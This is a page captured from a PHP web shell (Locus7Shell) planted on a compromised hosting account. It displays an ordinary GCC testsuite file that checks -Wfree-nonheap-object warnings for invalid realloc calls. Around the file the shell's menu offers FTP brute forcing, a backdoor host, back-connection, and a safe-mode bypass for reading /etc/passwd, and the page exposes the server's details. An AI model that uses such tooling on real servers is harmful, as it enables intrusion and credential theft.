Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wfree-nonheap-object-2.c (5.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR ????? - No warning on attempts to access free object
   Verify that attempting to reallocate unallocated objects referenced
   either directly or through pointers is diagnosed.
   { dg-do compile }
   { dg-options "-O2 -Wall -Wfree-nonheap-object" }
   { dg-require-effective-target alloca } */

typedef __SIZE_TYPE__ size_t;

extern void free (void*);
extern void* alloca (size_t);
extern void* realloc (void*, size_t);

void sink (void*, ...);

extern void* eparr[];
extern char *eptr;

extern size_t n;


void nowarn_realloc (void *p, size_t n)
{
  char *q = realloc (p, n);
  sink (q);

  q = realloc (0, n);
  sink (q);

  q = realloc (q, n * 2);
  sink (q);
}

/* Verify that calling realloc on a pointer to an unknown object minus
   some nonzero offset isn't diagnosed, but a pointer plus a positive
   offset is (a positive offset cannot point at the beginning).  */

void test_realloc_offset (char *p1, char *p2, char *p3, size_t n, int i)
{
  char *q;
  q = realloc (p1 - 1, n);
  sink (q);

  q = realloc (p2 + 1, n);    // { dg-warning "'realloc' called on pointer 'p2' with nonzero offset 1" }
  sink (q);

  q = realloc (p3 + i, n);
  sink (q);
}

void warn_realloc_extern_arr (void)
{
  extern char ecarr[];        // { gg-message "declared here" }
  char *p = ecarr;
  char *q = realloc (p, n);   // { dg-warning "'realloc' called on unallocated object 'ecarr'" }
  sink (q);
}

void warn_realloc_extern_arr_offset (int i)
{
  extern char ecarr[];
  char *p = ecarr + i;
  char *q = realloc (p, n);   // { dg-warning "\\\[-Wfree-nonheap-object" }
  sink (q);
}


void warn_realloc_string (int i)
{
  char *p, *q;
  {
    p = "123";
    sink (p);
    q = realloc (p, n);       // { dg-warning "\\\[-Wfree-nonheap-object" }
    sink (q);
  }
  {
    p = "234" + 1;
    sink (p);
    q = realloc (p, n);       // { dg-warning "\\\[-Wfree-nonheap-object" }
    sink (q);
  }
  {
    p = "123" + i;
    sink (p);
    q = realloc (p, n);       // { dg-warning "\\\[-Wfree-nonheap-object" }
    sink (q);
  }
}


void warn_realloc_alloca (int n, int i)
{
  char *p, *q;
  {
    p = alloca (n);
    sink (p);
    q = realloc (p, n);       // { dg-warning "\\\[-Wfree-nonheap-object" }
    sink (q);
  }
  {
    p = (char*)alloca (n + 1);
    sink (p);
    q = realloc (p, n);       // { dg-warning "\\\[-Wfree-nonheap-object" }
    sink (q);
  }
  {
    p = (char*)alloca (n + 2) + i;
    sink (p);
    q = realloc (p, n);       // { dg-warning "\\\[-Wfree-nonheap-object" }
    sink (q);
  }
}


void warn_realloc_local_arr (int i)
{
  char *q;
  {
    char a[4];
    sink (a);
    q = realloc (a, n);       // { dg-warning "\\\[-Wfree-nonheap-object" }
    sink (q);
  }

  {
    char b[5];
    sink (b);
    q = realloc (b + 1, n);   // { dg-warning "\\\[-Wfree-nonheap-object" }
    sink (q);
  }

  {
    char c[6];
    sink (c);
    q = realloc (&c[2], n);   // { dg-warning "\\\[-Wfree-nonheap-object" }
    sink (q);
  }

  {
    char d[7];
    sink (d);
    q = realloc (&d[i], n);   // { dg-warning "\\\[-Wfree-nonheap-object" }
    sink (q);
  }
}

void warn_realloc_vla (int n1, int n2, int i)
{
  char *q;
  {
    char vla[n1];
    sink (vla);
    q = realloc (vla, n2);    // { dg-warning "\\\[-Wfree-nonheap-object" }
    sink (q);
  }

  {
    char vlb[n1 + 1];
    sink (vlb);
    q = realloc (vlb + 1, n2);// { dg-warning "\\\[-Wfree-nonheap-object" }
    sink (q);
  }

  {
    char vlc[n1 + 2];
    sink (vlc);
    q = realloc (&vlc[2], n2);// { dg-warning "\\\[-Wfree-nonheap-object" }
    sink (q);
  }

  {
    char vld[7];
    sink (vld);
    q = realloc (&vld[i], n2);// { dg-warning "\\\[-Wfree-nonheap-object" }
    sink (q);
  }
}

void nowarn_realloc_extern_ptrarr (void)
{
  char *q = realloc (*eparr, n);
  sink (q);
}

void nowarn_realloc_extern_ptrarr_offset (int i)
{
  char *p = eparr[i];
  char *q = realloc (p, n);
  sink (q);
}


void warn_realloc_extern_ptrarr (void)
{
  char *q = realloc (eparr, n);  // { dg-warning "\\\[-Wfree-nonheap-object" }
  sink (q);
}

void warn_realloc_extern_ptrarr_offset (int i)
{
  void *p = eparr + i;
  void *q = realloc (p, n);   // { dg-warning "\\\[-Wfree-nonheap-object" }
  sink (q);
}


void nowarn_realloc_extern_ptr (void)
{
  char *q = realloc (eptr, n);
  sink (q);
}

void nowarn_realloc_extern_ptr_offset (int i)
{
  char *p = eptr + i;
  char *q = realloc (p, n);
  sink (q);
}


void warn_realloc_extern_ptr_pos_offset (int i)
{
  if (i <= 0)
    i = 1;

  char *p = eptr + i;
  char *q = realloc (p, n);   // { dg-warning "\\\[-Wfree-nonheap-object" }
  sink (q);
}


void nowarn_realloc_parm_offset (char *p, int i)
{
  char *q = p + i;
  q = realloc (q, n);
  sink (q);
}

void nowarn_realloc_parm_neg_offset (char *p, int i)
{
  if (i >= 0)
    i = -1;

  char *q = p + i;
  q = realloc (q, n);
  sink (q);
}

void warn_realloc_parm_pos_offset (char *p, int i)
{
  if (i <= 0)
    i = 1;

  char *q = p + i;
  q = realloc (q, n);         // { dg-warning "\\\[-Wfree-nonheap-object" }
  sink (q);
}

void nowarn_realloc_deref_parm_pos_offset (void **p, int i)
{
  if (i <= 0)
    i = 1;

  // The offset is from p, not *p.
  void *q = *(p + i);
  q = realloc (q, n);
  sink (q);
}

void warn_realloc_deref_parm_pos_offset (void **p, int i)
{
  if (i <= 0)
    i = 1;

  // Unlike in the function above the offset is from *p.
  void *q = *p + i;
  q = realloc (q, n);         // { dg-warning "\\\[-Wfree-nonheap-object" }
  sink (q);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0063 ]--